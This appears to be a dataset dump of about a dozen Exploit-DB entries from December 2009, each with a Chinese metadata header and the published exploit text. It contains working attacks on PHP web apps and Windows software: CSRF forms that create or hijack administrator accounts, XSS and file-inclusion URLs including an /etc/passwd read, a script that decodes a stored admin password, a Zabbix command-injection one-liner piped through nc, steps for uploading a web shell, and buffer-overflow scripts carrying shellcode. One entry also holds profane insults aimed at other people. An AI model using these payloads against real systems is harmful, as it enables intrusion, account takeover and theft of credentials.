QLWD/code_shield huggingface dataset:
标题: Ez Poll Hoster - Multiple Cross-Site Scripting / Cross-Site Request Forgery Vulnerabilities EDB-ID: 10439 CVE: 2009-4385 2009-4384 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-14 漏洞利用脚本: [#-----------------------------------------------------------------------------------------------#]
[#] Title: Ez Poll Hoster Multiple XSS and XSRF Vulnerabilities
[#] Author: Milos Zivanovic
[#] Email: milosz.security[at]gmail.com
[#] Date: 14. December 2009.
[#-----------------------------------------------------------------------------------------------#]
[#] Application: Ez Poll Hoster
[#] Version: the only one there is
[#] Platform: PHP
[#] Link: http://www.scriptsez.net/?action=details&cat=Polls%20and%20Voting&id=1193942206
[#] Price: 15 USD
[#] Vulnerability: Multiple XSS and XSRF Vulnerabilities
[#-----------------------------------------------------------------------------------------------#]

[#]Content
 |--User panel
 |  |--XSS in user panel
 |  |--Delete poll by name
 |
 |--Admin panel
    |--XSS in admin panel
    |--Delete user by name
    |--Email all users

[#]User panel

[-]XSS in user panel

[POC----------------------------------------------------------------------------------------------]
http://localhost/eph/index.php?action=code&pid=[XSS]
[POC----------------------------------------------------------------------------------------------]

[-]Delete poll by name

[POC----------------------------------------------------------------------------------------------]
http://localhost/eph/index.php?action=delete_poll&pid=[POLL
NAME]&do=true&is_js_confirmed=1
[POC----------------------------------------------------------------------------------------------]

[#]Admin panel

[-]XSS in admin panel

[POC----------------------------------------------------------------------------------------------]
http://localhost/eph/profile.php?action=view&uid=[XSS]
[POC----------------------------------------------------------------------------------------------]

[-]Delete user by name

[POC----------------------------------------------------------------------------------------------]
http://localhost/eph/admin.php?action=manage&do=delete&uid=[USER
NAME]&is_js_confirmed=1
[POC----------------------------------------------------------------------------------------------]

[-]Email all users

[EXPLOIT------------------------------------------------------------------------------------------]
<form action="http://localhost/eph/admin.php?action=email&do=true"
method="post">
  <input type="hidden" name="subject" value="this is my subject">
  <input type="hidden" name="message" value="this is my message">
  <input type="submit" name="submit" value="Submit">
</form>
[EXPLOIT------------------------------------------------------------------------------------------]

[#] EOF URL: https://www.exploit-db.com/exploits/10439
标题: Smart PHP Subscriber - Multiple Disclosure Vulnerabilities EDB-ID: 10437 CVE: 2007-0518 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-14 漏洞利用脚本: [#-----------------------------------------------------------------------------------------------#]
[#] Title: Smart PHP Subscriber Multiple Disclosure Vulnerabilities
[#] Author: Milos Zivanovic
[#] Email: milosz.security[at]gmail.com
[#] Date: 14. December 2009.
[#-----------------------------------------------------------------------------------------------#]
[#] Application: Smart PHP Subscriber
[#] Version: the only one there is
[#] Platform: PHP
[#] Vulnerability: Multiple Disclosure Vulnerabilities
[#-----------------------------------------------------------------------------------------------#]

[#]Content
 |--Admin password disclosure
 |--Subscribers list disclosure

[*]Admin password disclosure

Admin password is saved locally in pwd.txt file with some simple
encoding. This is the algorithm
used:
base64(base64(password)+"||&@23||password>||&~||")

String in "" (quotes) is constant, so we're able to decode it with
couple lines of code. Here's the
script to decode admins password:

[DECODE-SCRIPT------------------------------------------------------------------------------------]
<?php
  $pwd_file = "http://localhost/smartphps/pwd.txt";
  $half_way = base64_decode(file_get_contents($pwd_file));
  $almost_there = explode("||&@23||password>||&~||", $half_way);
  echo base64_decode($almost_there[0])."\n";
?>
[DECODE-SCRIPT------------------------------------------------------------------------------------]

[-]Subscribers list disclosure

List of subscribed emails is saved locally in subscribe.txt file with
base64 encoding. Each line
holds info about 1 subscriber. Data is inserted in this format:

base64(email)+";"+base64(name)+";"+date("D
d-M-Y")+";"+time()+";"+verified(1 or 0)+";"+line_number

Using regular base64_decode function built in php we can decode emails.

[#] EOF URL: https://www.exploit-db.com/exploits/10437
标题: AdManagerPro - Cross-Site Request Forgery (Add Admin) EDB-ID: 10438 CVE: 2009-4828 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-14 漏洞利用脚本: ______     __     ______
               /\  == \   /\ \   /\  __ \
               \ \  __<   \ \ \  \ \ \/\ \
                \ \_____\  \ \_\  \ \_____\
                 \/_____/   \/_/   \/_____/

                 01000010 01101001 01001111

[#]----------------------------------------------------------------[#]
#
# [+] AdManagerPro - [ CSRF ] Create Administrator Account
#
#  // Author Info
# [x] Author: bi0
# [x] Contact: bukibv@hotmail.com
# [x] Homepage : www.ssteam.ws
# [x] Thanks: sp1r1t,packetdeath,Zer0flag,redking and ssteam.ws ...
#
[#]-------------------------------------------------------------------------------------------[#]
#
# [x] Exploit :
#
# [ CSRF ]
#
#     [ Login ]
#     http://localhost/[path]/administration/index.php
#
# // Start CSRF
|-------------------------------------------------------------------------------|
<form action="http://[server]/[path]/administration/admins.php" method="POST">
  <input type="hidden" name="action" value="admin_created">
  <input  name="username" value="adminlol" maxlength=15>
  <input  name="password" maxlength=15 value="adminlol">
  <input  name="email" maxlength="255" value="test@demo.com">
  <input  name="name" maxlength="255" value="adminlol">
<input type="hidden" name="rights[]" value="advertisers" CHECKED>
<input type="hidden" name="rights[]" value="packages" CHECKED>
<input type="hidden" name="rights[]" value="publishers" CHECKED>
<input type="hidden" name="rights[]" value="ads" CHECKED>
<input type="hidden" name="rights[]" value="def_ads" CHECKED>
<input type="hidden" name="rights[]" value="black_zones" CHECKED>
<input type="hidden" name="rights[]" value="backup" CHECKED>
<input type="hidden" name="rights[]" value="email_u" CHECKED>
<input type="hidden" name="rights[]" value="reset" CHECKED>
<input type="hidden" name="rights[]" value="tmpl_msg" CHECKED>
<input type="hidden" name="rights[]" value="admins" CHECKED>
<input type="hidden" name="rights[]" value="config" CHECKED>
<input type="submit" name="submit" value="Submit">
</form>
|-------------------------------------------------------------------------------|
# // End of attack
#
[#]------------------------------------------------------------------------------------------[#]

#EOF URL: https://www.exploit-db.com/exploits/10438
标题: mini Hosting Panel - Cross-Site Request Forgery (Change Admin Settings) EDB-ID: 10444 CVE: 2009-4826 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-14 漏洞利用脚本: [#-----------------------------------------------------------------------------------------------#]
[#] Title: mini Hosting Panel XSRF Change Admin Settings
[#] Author: Milos Zivanovic
[#] Email: milosz.security[at]gmail.com
[#] Date: 14. December 2009.
[#-----------------------------------------------------------------------------------------------#]
[#] Application: mini Hosting Panel
[#] Version: the only one there is
[#] Platform: PHP
[#] Link: http://www.scriptsez.net/?action=details&cat=Miscellaneous&id=1193932045
[#] Price: 24 USD
[#] Vulnerability: XSRF Change Admin Settings
[#-----------------------------------------------------------------------------------------------#]

mini Hosting Panel script suffers from XSRF vulnerability that enables
us to change
admins info such as id, password, email...

[EXPLOIT------------------------------------------------------------------------------------------]
<form action="http://localhost/hosting/admin_ac.php?action=cp" method="POST">
  <input type="hidden" name="nid" value="new_admin">
  <input type="hidden" name="email" value="my@mail.com">
  <input type="hidden" name="comp" value="Company">
  <input type="hidden" name="np" value="hacked">
  <input type="hidden" name="cnp" value="hacked">
  <input type="submit" name="submit" value=' Submit '>
</form>
[EXPLOIT------------------------------------------------------------------------------------------]

[#]EOF URL: https://www.exploit-db.com/exploits/10444
标题: Mail Manager Pro - Cross-Site Request Forgery (Change Admin Password) EDB-ID: 10433 CVE: 2009-4827 类型: WEBAPPS 平台: LINUX 发布日期: 2009-12-14 漏洞利用脚本: [#-----------------------------------------------------------------------------------------------#]
[#] Title: Mail Manager Pro XSRF (Change Admin Password)
[#] Author: Milos Zivanovic
[#] Email: milosz.security[at]gmail.com
[#] Date: 14. December 2009.

[#] Application: Mail Manager Pro
[#] Version: the only one there is
[#] Link: http://www.scriptsez.net/?action=details&cat=Mailing%20List%20Managers&id=1192650742
[#] Price: 15 USD
[#] Vulnerability: Cross Site Request Forgery
[#-----------------------------------------------------------------------------------------------#]


With this exploit we can remotely change admins password.

[EXPLOIT------------------------------------------------------------------------------------------]
<form action="http://localhost/mmp/admin.php?action=change&mode=verify"
method="post">
<input type="hidden" name="admin_id" value="admin">
<input type="hidden" name="admin_email" value="my@newmail.net">
<input type="hidden" name="company" value="My Company">
<input type="hidden" name="admin_pass" value="hacked">
<input type="hidden" name="cpass" value="hacked">
<input type="submit" name="submit" value="Change">
</form>
[EXPLOIT------------------------------------------------------------------------------------------]

[#] EOF URL: https://www.exploit-db.com/exploits/10433
标题: Savant Web Server 3.1 - Remote Buffer Overflow (3) EDB-ID: 10434 CVE: 2002-1120 类型: REMOTE 平台: WINDOWS 发布日期: 2009-12-14 漏洞利用脚本: #!/usr/bin/python

#Title: Savant web server 3.1 buffer overflow exploit
#Author: DouBle_Zer0 
#Version: 3.1
#Tested on: win xp sp2,3 [en]
#Vulnerability discovered by Muts(offensive security)
#\x83\xc4\x50\x54\xc3 -add esp,50 push esp ret[see the double dance of this in exploit]
#ret=00401D09[pop ebp, ret]


import socket,sys
# win calc.exe [metasploit] (172 byte)
host = sys.argv[1] 
buff = ("\x31\xc9\x83\xe9\xdb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd8"
"\x22\x72\xe4\x83\xeb\xfc\xe2\xf4\x24\xca\x34\xe4\xd8\x22\xf9\xa1"
"\xe4\xa9\x0e\xe1\xa0\x23\x9d\x6f\x97\x3a\xf9\xbb\xf8\x23\x99\x07"
"\xf6\x6b\xf9\xd0\x53\x23\x9c\xd5\x18\xbb\xde\x60\x18\x56\x75\x25"
"\x12\x2f\x73\x26\x33\xd6\x49\xb0\xfc\x26\x07\x07\x53\x7d\x56\xe5"
"\x33\x44\xf9\xe8\x93\xa9\x2d\xf8\xd9\xc9\xf9\xf8\x53\x23\x99\x6d"
"\x84\x06\x76\x27\xe9\xe2\x16\x6f\x98\x12\xf7\x24\xa0\x2d\xf9\xa4"
"\xd4\xa9\x02\xf8\x75\xa9\x1a\xec\x31\x29\x72\xe4\xd8\xa9\x32\xd0"
"\xdd\x5e\x72\xe4\xd8\xa9\x1a\xd8\x87\x13\x84\x84\x8e\xc9\x7f\x8c"
"\x28\xa8\x76\xbb\xb0\xba\x8c\x6e\xd6\x75\x8d\x03\x30\xcc\x8d\x1b"
"\x27\x41\x13\x88\xbb\x0c\x17\x9c\xbd\x22\x72\xe4")
buff3 = "\x90" * 30
buff2 = "\x90" * 53
ret =   "\x09\x1D\x40" #savant.exe 
buffr = '\x83\xC4\x50\x54\xc3 /' +buff2+buff3+buff+ret + '\r\n\r\n'
print buffr
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,80))
s.send(buffr)
sys.exit() URL: https://www.exploit-db.com/exploits/10434
标题: Zabbix Agent < 1.6.7 - Remote Bypass EDB-ID: 10431 CVE: 2009-4502 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2009-12-14 漏洞利用脚本: Zabbix Agent : Bypass of EnableRemoteCommands=0 From: Nicob <nicob () nicob net>
Date: Sun, 13 Dec 2009 16:28:30 +0100

From Wikipedia : "Zabbix is a network management system application

[...] designed to monitor and track the status of various network
services, servers, and other network hardware."

[Zabbix Agent : Bypass of EnableRemoteCommands=0]

Impacted software : Zabbix Agent (FreeBSD and Solaris only)
Zabbix reference : https://support.zabbix.com/browse/ZBX-1032
Patched version : 1.6.7

Faulty source code : function NET_TCP_LISTEN() in
libs/zbxsysinfo/(freebsd|solaris)/net.c

Exploit : $> echo "net.tcp.listen[80';id;echo ']"|nc -vn xxxxx 10050
Limitation : attacker must come from (or spoof) a trusted IP address

Changelog entry : fixed security vulnerability in processing of
net.tcp.listen under FreeBSD and Solaris agents URL: https://www.exploit-db.com/exploits/10431
标题: RM Downloader 3.0.2.1 - '.m3u' Local Stack Overflow EDB-ID: 10423 CVE: 2009-1326 类型: LOCAL 平台: WINDOWS 发布日期: 2009-12-14 漏洞利用脚本: #!/usr/bin/perl
# *********************************************************
# *  RM Downloader 3.0.2.1(.M3U File) Stack Overflow exploit   *
# *********************************************************
#
# Author: Vinod Sharma
# Download :  http://www.rm-to-mp3.net/downloads/RMDownloader.exe
# Tested : Windows XP SP2 (En)
# Thanks to exploit-db,packetstormsecurity and all security folks
# Originally published at :http://securitygyan.com/2009/12/14/rm-downloader-m3u-exploit/
#Vulnerability discovered by CYBER-ZONE(http://www.exploit-db.com/exploits/8404)
#::::::NOTE: This exploit is only for educational purpose. If you use it for any malicious activity then author will not bear any:::
#::::responsibility.
my $Header = "#EXTM3U\n";
my $eip= pack('V', 0x01be8b59);  # jmp esp from RDcodec02.dll
my $nop= "\x90" x 256;
my $nop2="\x90" x 8;
my $nop3="\x90" x 100;

####Calc.exe######
$shellcode = $shellcode.
"\x31\xc9\xda\xd4\xb1\x33\xbd\xec\x71\x94\xde\xd9\x74\x24\xf4".
"\x5f\x31\x6f\x15\x03\x6f\x15\x83\x2b\x75\x76\x2b\x4f\x9e\xff".
"\xd4\xaf\x5f\x60\x5c\x4a\x6e\xb2\x3a\x1f\xc3\x02\x48\x4d\xe8".
"\xe9\x1c\x65\x7b\x9f\x88\x8a\xcc\x2a\xef\xa5\xcd\x9a\x2f\x69".
"\x0d\xbc\xd3\x73\x42\x1e\xed\xbc\x97\x5f\x2a\xa0\x58\x0d\xe3".
"\xaf\xcb\xa2\x80\xed\xd7\xc3\x46\x7a\x67\xbc\xe3\xbc\x1c\x76".
"\xed\xec\x8d\x0d\xa5\x14\xa5\x4a\x16\x25\x6a\x89\x6a\x6c\x07".
"\x7a\x18\x6f\xc1\xb2\xe1\x5e\x2d\x18\xdc\x6f\xa0\x60\x18\x57".
"\x5b\x17\x52\xa4\xe6\x20\xa1\xd7\x3c\xa4\x34\x7f\xb6\x1e\x9d".
"\x7e\x1b\xf8\x56\x8c\xd0\x8e\x31\x90\xe7\x43\x4a\xac\x6c\x62".
"\x9d\x25\x36\x41\x39\x6e\xec\xe8\x18\xca\x43\x14\x7a\xb2\x3c".
"\xb0\xf0\x50\x28\xc2\x5a\x3e\xaf\x46\xe1\x07\xaf\x58\xea\x27".
"\xd8\x69\x61\xa8\x9f\x75\xa0\x8d\x40\x94\x61\xfb\xe8\x01\xe0".
"\x46\x75\xb2\xde\x84\x80\x31\xeb\x74\x77\x29\x9e\x71\x33\xed".
"\x72\x0b\x2c\x98\x74\xb8\x4d\x89\x16\x5f\xde\x51\xf7\xfa\x66".
"\xf3\x07";


$ex="http://F".$nop.$eip.$nop2.$shellcode."A" x 26280 ;

open(MYFILE,'>>exploit.m3u');

print MYFILE $Header.$ex;

close(MYFILE); URL: https://www.exploit-db.com/exploits/10423
标题: Zabbix Server - Multiple Vulnerabilities EDB-ID: 10432 CVE: 2009-4501 2009-4499 2009-4498 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2009-12-14 漏洞利用脚本: Zabbix Server : Multiple remote vulnerabilities From: Nicob <nicob () nicob net>
Date: Sun, 13 Dec 2009 16:28:35 +0100

From Wikipedia : "Zabbix is a network management system application

[...] designed to monitor and track the status of various network
services, servers, and other network hardware."

[Zabbix Server : Remote command execution]

Impacted software : Zabbix Server
Zabbix reference : https://support.zabbix.com/browse/ZBX-1030
Patched version : 1.8

Faulty source code : function node_process_command() in
zabbix_server/trapper/nodecommand.c

Changelog entry : fixed security vulnerability in server allowing remote
unauthenticated users to execute scripts

[Zabbix Server : Remote SQL execution]

Impacted software : Zabbix Server
Zabbix reference : https://support.zabbix.com/browse/ZBX-1031
Patched version : 1.6.8 (patch for 1.6.7 was insufficient)

Faulty source code : function send_history_last_id() in
zabbix_server/trapper/nodehistory.c

Changelog entry (1.6.7) : fixed security vulnerability in server,
allowing remote unauthenticated users to execute arbitrary SQL queries
Changelog entry (1.6.8) : added more security checks for communication
between nodes

[Zabbix Server : Remote DoS (NULL deref)]

Impacted software : Zabbix Server
Zabbix reference : https://support.zabbix.com/browse/ZBX-993
Patched version : 1.6.6

Faulty source code : function process_trap() in
zabbix_server/trapper/trapper.c

Changelog entry : fixed possible vulnerability of trapper

[Zabbix Server : Remote DoS (NULL deref)]

Impacted software : Zabbix Server
Zabbix reference : https://support.zabbix.com/browse/ZBX-1355
Patched version : 1.6.8

Faulty source code : function zbx_get_next_field() in
libs/zbxcommon/str.c

Changelog entry : fixed possible server crash when receiving invalid
data URL: https://www.exploit-db.com/exploits/10432
标题: eoCMS 0.9.03 - Remote File Inclusion EDB-ID: 10422 CVE: 2009-4319 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-14 漏洞利用脚本: # Exploit Title: eoCMS <= 0.9.03 Remote FIle Include Vulnerability
# Date: 14-12-2009
# Author: 1nd0n3s14n l4m3r
# Software Link: http://eocms.com/index.php?act=plugin&id=4
# Version: N/A
# Tested on: GNU/LINUX
# CVE : N/A
# Code : N/A
#####################################################################


##########################################################################
##          eoCMS <= 0.9.03 Remote FIle Include Vulnerability           ##
##                  Created By 1nd0n3s14n l4m3r                         ##
##                      (c) -- 14/12/2oo9                               ##
##########################################################################

#####################################################################################
##  ~ Infected File : [bbcode-form.php]                                            ##
##                                                                                 ##
##    include_once($BBCODE_path . 'bbcodepress/bbcodepress-lite.php');             ##
##    $textarea_name = 'dataBox';                                                  ##
##    $smiley_image_path = './images/emoticons/';                                  ##
##    $bbcode_image_path = './themes/' . $settings['site_theme'] . '/images/';     ##
##                                                                                 ##
##    if(!$BBCODE_override){                                                       ##
##        $head .= '<script language=JavaScript src=bbcodepress-lite.js></script>';##
##        $BBCODE_override = getStandard('./js/bbcodepress/');                     ##
##    //        $BBCODE_override = getStandard('./js/bbcodepress/','-eocms');      ##
##     }                                                                           ##
##                                                                                 ##
##  ~ Example :                                                                    ##
##                                                                                 ##
##    [path]/js/bbcodepress/bbcode-form.php?BBCODE_path=[Shell]                    ##
##                                                                                 ##
##                                                                                 ##
#####################################################################################

##############################################################################
## ~ 9r33tZ T0 : > 4ll 1nd0n3s14n r34l h4ck3r ...                           ##
## ~ fuck      : > x-ace [ m0th3r fuck3r 1nd0n3s14n r34l sn1ch ]            ##
##               > tomahawk [b19 l4m3rs]                                    ##
##               > 1nd0n3s14n j00ml4 h4ck3r                                 ##
## ~ n0t3      : > sh0w m3 th3 c0d3 x-ace fuck3r 1f y0u r34l h4ck3r         ##
##                 y0u 4r3 n0t h4ck3r, y0u 4r3 r34l b1g l4m3rs              ##
############################################################################## URL: https://www.exploit-db.com/exploits/10422
标题: Digital Hive - Multiple Vulnerabilities EDB-ID: 10427 CVE: 2008-1985 类型: WEBAPPS 平台: LINUX 发布日期: 2009-12-14 漏洞利用脚本: [-]##############################################################
|
| DigitalHive Remote File Upload Vulnerability
|
| Author : ViRuSMaN
|
| Contact : v.-m@live.com
|
| Home : Islam-Attack.CoM , HackTeach.OrG
|
| Download :http://www.digitalhive.com/base.php?page=site/telechargements.php&var=accueil
[-]##############################################################
|
| Exp:
|
| 1- First signup in the forum by going here http://localhost/[script]/base.php?page=inscription.php
|
|
| 2-Then going to your profile here http://localhost/[script]/base.php?page=compte.php&var=accueil and click "modfier"
|
|
| 3-Now upload your shell in "php.jpg" format
|
|
| 4-Finally do a right click in the icon situated in "Apparence" then copy the link of your shell.
|
[-]#############################################################
|
|Greets : All members of islam-attack.com , hackteach.org , s3curi7y.com & All Muslim's
|
[-]#############################################################

==============================================================================
        [»] DigitalHive Multiple Vulnerabilities
==============================================================================

    [»] Script:             [ DigitalHive ]
    [»] Language:           [ PHP ]
    [»] Site page:          [ Hive est systeme permettant de creer facilement et rapidement un systeme ]
    [»] Download:           [ http://www.digitalhive.com/base.php?page=site/telechargements.php&var=dl&num=17 ]
    [»] Founder:            [ ViRuSMaN <v.-m@live.com - totti_55_3@yahoo.com> ]
    [»] Greetz to:          [ HackTeach Team , Egyptian Hackers , All My Friends & Sec-Attack.Com ]
    [»] My Home:            [ HackTeach.Org , Islam-Attack.Com ]

###########################################################################

===[ Exploit ]===

        [»] http://server/[path]/base.php?page=membres.php&mt=[Xss Vuln]

===[ Live Demo ]===

    [»] http://server/base.php?page=membres.php&mt=%22%3E%3Cscript%3Ealert(1);%3C/script%3E

Author: ViRuSMaN <- URL: https://www.exploit-db.com/exploits/10427
标题: phpLDAPadmin - Local File Inclusion EDB-ID: 10410 CVE: 2009-4427 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-10 漏洞利用脚本: ########################################################################
#  PHPLDAPADMIN LOCAL FILE INCLUSION
########################################################################

author : ipsecs
website : http://ipsecs.com
Date  : December, 10th, 2009


-[i]- Description

"Phpldapadmin is web based LDAP client which provides easy,
anywhere-accessible, multi-language administration for LDAP
server."
http://phpldapadmin.sourceforge.net

vulnerable version:
phpldapadmin 1.1.0.5
Ubuntu 8.10
Debian 5.0
Other version may be affected

-[ii]- Vulnerable Code

Vulnerable code is found in cmd.php which doesn't sanitize
URI parameter provided by user input.

line 10
$www['cmd'] = get_request('cmd','REQUEST');

line 22-27
if (defined('HOOKSDIR') && file_exists(HOOKSDIR.$www['cmd'].'.php'))
       $file = HOOKSDIR.$www['cmd'].'.php';

elseif (defined('HTDOCDIR') && file_exists(HTDOCDIR.$www['cmd'].'.php'))
       $file = HTDOCDIR.$www['cmd'].'.php';

line 38-39
if ($file)
       include $file;

Attacker may view any arbitrary files trough 'cmd' parameter 
in URI request.

-[iii]- Exploit

http://server/phpldapadmin/cmd.php?cmd=../../../../etc/passwd%00
http://server/phpldapadmin/cmd.php?cmd=../../../../issue%00

-[iv]- Fix

Sanitize $file before being included. Unfortunaltely there is 
no working patch at this time. URL: https://www.exploit-db.com/exploits/10410